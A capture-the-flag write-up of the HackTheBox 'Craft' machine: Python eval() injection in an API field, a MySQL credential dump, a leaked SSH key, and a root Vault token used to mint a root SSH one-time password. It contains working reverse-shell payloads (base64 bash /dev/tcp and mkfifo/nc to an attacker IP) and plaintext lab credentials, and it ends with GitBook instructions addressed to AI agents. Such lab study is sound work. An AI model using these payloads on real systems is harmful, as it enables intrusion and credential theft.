> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cpts-track/htb-craft.md).

# HTB - Craft

## NMAP

```bash
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
|   256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_  256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp  open  ssl/http nginx 1.15.8
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg: 
|_  http/1.1
|_http-server-header: nginx/1.15.8
|_http-title: 400 The plain HTTP request was sent to HTTPS port
| tls-alpn: 
|_  http/1.1
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Issuer: commonName=Craft CA/organizationName=Craft/stateOrProvinceName=New York/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-02-06T02:25:47
| Not valid after:  2020-06-20T02:25:47
| MD5:     0111 76e2 83c8 0f26 50e7 56e4 ce16 4766
| SHA-1:   2e11 62ef 4d2e 366f 196a 51f0 c5ca b8ce 8592 3730
|_SHA-256: 8828 6ef6 f2bb 87e6 58a3 f3ba 1ddf 15ef 8e97 4f3d cd81 237a c6c1 e036 3d6b 863e
6022/tcp open  ssh      Golang x/crypto/ssh server (protocol 2.0)
| ssh-hostkey: 
|_  2048 5b:cc:bf:f1:a1:8f:72:b0:c0:fb:df:a3:01:dc:a6:fb (RSA)
```

### HTTPS - 443

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FwqZMnR6DDxvzEKr3iXp7%2Fimage.png?alt=media&amp;token=7568224c-1f39-40fc-8221-08868af053aa" alt=""><figcaption></figcaption></figure>

Clicking on the API results in a request to `api.craft.htb` domain with a error. Add the domain to hosts.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FMQmfD1727051Ci3awwP5%2Fimage.png?alt=media&amp;token=7786db37-d223-4300-8730-be91f2b91e14" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FEub1xORHw3mr4B5sjnUw%2Fimage.png?alt=media&amp;token=20ff96a5-dfb5-4d14-92d2-91bc6e370ced" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FvQqMHKE56o4qRAY3fsPC%2Fimage.png?alt=media&amp;token=e2762555-1b9a-4b5b-bd1f-c6fe5c1699d5" alt=""><figcaption></figcaption></figure>

Found another domain in the source of the page. Add it to the hosts too.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F3WD6vFIHcSF5HClHgHZU%2Fimage.png?alt=media&amp;token=cd41a519-8a74-4657-b8b7-589d7d03db43" alt=""><figcaption></figcaption></figure>

Exploring the repos found credentials for dinesh.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F8nQOuCQ23thTpmnvV7pO%2Fimage.png?alt=media&amp;token=7249413d-92cc-4220-9bf6-5c76a66a98f3" alt=""><figcaption></figcaption></figure>

Using the credentials i can send a login request through the API .

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FUnLDd7wGYPu5rsSvsDyJ%2Fimage.png?alt=media&amp;token=335e2e8a-c96f-4f1a-8885-ae0db6aab704" alt=""><figcaption></figcaption></figure>

Logging in with the credentials gives us a token.

On the git repo, dinesh mentioned a fix for bogus ABV Values.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FrekHhqwadP54SVA2i7Tk%2Fimage.png?alt=media&amp;token=0e8d5f0f-f80b-41bb-ace2-eaa957468fd5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F528mqXC7jXBdheo0f62t%2Fimage.png?alt=media&amp;token=77c9d341-6c93-497b-b529-13963078d6e7" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F79EUPBLuLfvWvaxHYuPq%2Fimage.png?alt=media&amp;token=9231c977-91fa-4338-a44e-18ea83a5e3d5" alt=""><figcaption></figcaption></figure>

There the issue is. The developer tried to validate that ABV is a sane value (should be between 0 and 1 as a decimal) by doing:

They used `eval()` which executes **anything** you put in — that's the vulnerability.

```bash
'%s > 1' % "0.5"     →   "0.5 > 1"
'%s > 1' % "15.0"    →   "15.0 > 1"
'%s > 1' % "hello"   →   "hello > 1"

eval("0.5 > 1")    →   False  (normal)
eval("15.0 > 1")   →   True   (returns 400 error)
eval("__import__('os').system('id')")  →  runs system command!

# Normal user sends abv = "0.5"
eval('0.5 > 1')   # just a comparison, fine

# Attacker sends abv = "__import__('os').system('id')"
eval("__import__('os').system('id') > 1")
#     ↑ THIS PART RUNS FIRST as actual Python code!
#     executes 'id' command on the server
```

The vulnerability exists because the developer used eval() to validate the ABV field, which is supposed to accept only a decimal/float value like 0.5. The correct approach would have been to use float(), which strictly accepts only numeric input and throws an error for anything else. However, since eval() was used instead, it accepts absolutely anything as input — numbers, strings, characters, or even Python code and system commands. This means an attacker can pass malicious code in the abv field instead of a simple number, and the server will blindly execute it, leading to Remote Code Execution (RCE).

To craft the payload we need active token which we got by logging through dinesh credentials.

```bash
curl -H 'X-Craft-API-Token: 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNzgwMTU0OTU2fQ.QMw6qXnTain7fYQjGa5BTrZwEbwy6vgEp8Jw3S0A8Xo' -H "Content-Type: application/json" -k -X POST https://api.craft.htb/api/brew/ --data '{"name":"bullshit","brewer":"bullshit", "style": "bullshit", "abv": "__import__(\"os\").system(\"echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTUuMTcwLzQ0NDQgMD4mMQo= | base64 -d | bash\")}'
```

## Abusing Python Eval Statements

```bash
──(ajay㉿kali)-[~/Downloads]
└─$ TOKEN=$(curl -s -k -X GET "https://dinesh:4aUh0A8PbVJxgd@api.craft.htb/api/auth/login" \
  -H "accept: application/json" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

curl -s -k -X POST "https://api.craft.htb/api/brew/" \
  -H "accept: application/json" \
  -H "Content-Type: application/json" \
  -H "X-CRAFT-API-TOKEN: $TOKEN" \
  -d "{\"id\": 0, \"brewer\": \"x\", \"name\": \"x\", \"style\": \"x\", \"abv\": \"__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.170 4444 >/tmp/f')\"}"
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F4brak7B1cOESK0BPdqBN%2Fimage.png?alt=media&amp;token=5739da7c-27c4-46ab-84cf-a9f12dded708" alt=""><figcaption></figcaption></figure>

## Shell as Root

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F9YKmnwjxt03bWfoOQ7EO%2Fimage.png?alt=media&amp;token=8096383d-ff3c-409f-b101-d2d009725b49" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FxLtIRrijflbD1NqlJBld%2Fimage.png?alt=media&amp;token=7b79f61a-0f51-40af-82be-9b05b81015a2" alt=""><figcaption></figcaption></figure>

there is settings file that is being called.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fi76XxRaM4uTtXv4SxQJA%2Fimage.png?alt=media&amp;token=68d3fe92-33ff-4260-8cc0-761d320fa4a9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FyieKulgR2hSRc3KrlpWl%2Fimage.png?alt=media&amp;token=b9111032-6a6d-4c96-88c0-ff40b7706f09" alt=""><figcaption></figcaption></figure>

but i dont find the [settings.py](http://settings.py/) here. but i found it in the craft\_api directory.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FbIdxCRv6Z1wO43f63kny%2Fimage.png?alt=media&amp;token=2e403576-23a4-44aa-9825-8b1850c0c9c1" alt=""><figcaption></figcaption></figure>

```bash
opt/app/craft_api # cat settings.py
# Flask settings
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False  # Do not use debug mode in production

# Flask-Restplus settings
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'

# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False
/opt/app/craft_api # 

```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FfkoyJO4fiz4zlH8eS3LI%2Fimage.png?alt=media&amp;token=57fb28a3-76c2-48fe-a6ed-119fdf3e8d04" alt=""><figcaption></figcaption></figure>

[dbtest.py](http://dbtest.py/) tests connection to database. we can alter the code to dump the users database.

```bash
/opt/app # python -c "
import pymysql
from craft_api import settings
conn = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                       user=settings.MYSQL_DATABASE_USER,
                       password=settings.MYSQL_DATABASE_PASSWORD,
                       db=settings.MYSQL_DATABASE_DB,
                       cursorclass=pymysql.cursors.DictCursor)
c = conn.cursor()
c.execute('SELECT * FROM user')
print(c.fetchall())
conn.close()
"
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FRhucvU8ADha1c5TXPJOd%2Fimage.png?alt=media&amp;token=e5c66f6e-8767-46e1-818e-50bfa04d4897" alt=""><figcaption></figcaption></figure>

`gilfoyle : ZEU3N8WNM2rh4T`

## Shell as Gilfoyle

Using the creds i was able to login through the gogs instance.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FcbvJ65HjRxBobs67jtk6%2Fimage.png?alt=media&amp;token=10982100-2ab2-4d5f-95f2-d0ffae36e82e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FQK0lmOPNNOrzwUkfpUmq%2Fimage.png?alt=media&amp;token=a8c04a41-deab-4f16-ba33-b33b0912647a" alt=""><figcaption></figcaption></figure>

Found the private key for gilfoyle in the repo. extracted it to the attack host and used ssh to get a shell.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FCZv1DElLyEP6ubjAHIvt%2Fimage.png?alt=media&amp;token=848f7380-0acf-4b15-94f8-26698245374a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FUZtOT5K2BCG2dCgJclOa%2Fimage.png?alt=media&amp;token=3133cbeb-ade7-4a2b-a5f4-0f36a88974e7" alt=""><figcaption></figcaption></figure>

the environment variables has a vault address.

### Vault Linux API

Since Vault is actively configured in your environment, your immediate goal should be checking if gilfoyle has any existing Vault tokens, credentials, or misconfigurations that allow you to interact with the Vault API to dump secrets (like root passwords, SSH keys, or database credentials).

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FRiGB6e8kM0ZosZ3MWPas%2Fimage.png?alt=media&amp;token=de1c20a3-20f3-4e82-91c1-40c5c9f47fc9" alt=""><figcaption></figcaption></figure>

there is a vault-token

```bash
gilfoyle@craft:~$ cat ~/.vault-token
f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9

gilfoyle@craft:~$ vault status
Key             Value
---             -----
Seal Type       shamir
Initialized     false
Sealed          false
Total Shares    5
Threshold       3
Version         0.11.1
Cluster Name    vault-cluster-cb7e66f9
Cluster ID      8bb98351-0148-3c42-d124-45a87dc43db7
HA Enabled      false

#vault binary is installed on the machine


gilfoyle@craft:~$ export VAULT_TOKEN="f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9"
gilfoyle@craft:~$ vault token lookup
Key                 Value
---                 -----
accessor            1dd7b9a1-f0f1-f230-dc76-46970deb5103
creation_time       1549678834
creation_ttl        0s
display_name        root
entity_id           n/a
expire_time         <nil>
explicit_max_ttl    0s
id                  f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
meta                <nil>
num_uses            0
orphan              true
path                auth/token/root
policies            [root]
ttl                 0s
gilfoyle@craft:~$ 
Root Token. This means you have full, unrestricted administrative control over this Vault instance. You can read every secret, configuration, and backend policy stored on this server.

gilfoyle@craft:~$ vault secrets list
Path          Type         Accessor              Description
----          ----         --------              -----------
cubbyhole/    cubbyhole    cubbyhole_ffc9a6e5    per-token private secret storage
identity/     identity     identity_56533c34     identity store
secret/       kv           kv_2d9b0109           key/value secret storage
ssh/          ssh          ssh_3bbd5276          n/a
sys/          system       system_477ec595       system endpoints used for control, policy and debugging

```

```bash
gilfoyle@craft:~$ vault list ssh/roles/
Keys
----
root_otp
```

The role name `root_otp` gives away the exact mechanism in play. Instead of using SSH Certificates, this engine is configured for **One-Time Passwords (OTP)**.

Vault's SSH OTP engine works by dynamically creating a single-use password for a specific user. When you request an OTP for `root`, Vault returns a random password string. Simultaneously, a Vault helper daemon running on the host system intercepts the SSH authentication attempt, verifies the password with Vault, and lets you in—deleting the password immediately after use.

Since you are already a root administrator inside Vault, you can simply ask Vault to issue you an OTP for the `root` user.

```bash
gilfoyle@craft:~$ vault write ssh/creds/root_otp ip=127.0.0.1 username=root
Key                Value
---                -----
lease_id           ssh/creds/root_otp/3527607c-3c06-ecd6-e195-6a6ed46eb5c9
lease_duration     768h
lease_renewable    false
ip                 127.0.0.1
key                d9816c5e-e108-6187-e59d-ebde2040ab51
key_type           otp
port               22
username           root
gilfoyle@craft:~$ 
```

## Shell as Root

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FND8EEjA6jBsx0eCSDf9m%2Fimage.png?alt=media&amp;token=51c2a51d-9583-4efa-9d55-c5fc0b0336aa" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cpts-track/htb-craft.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
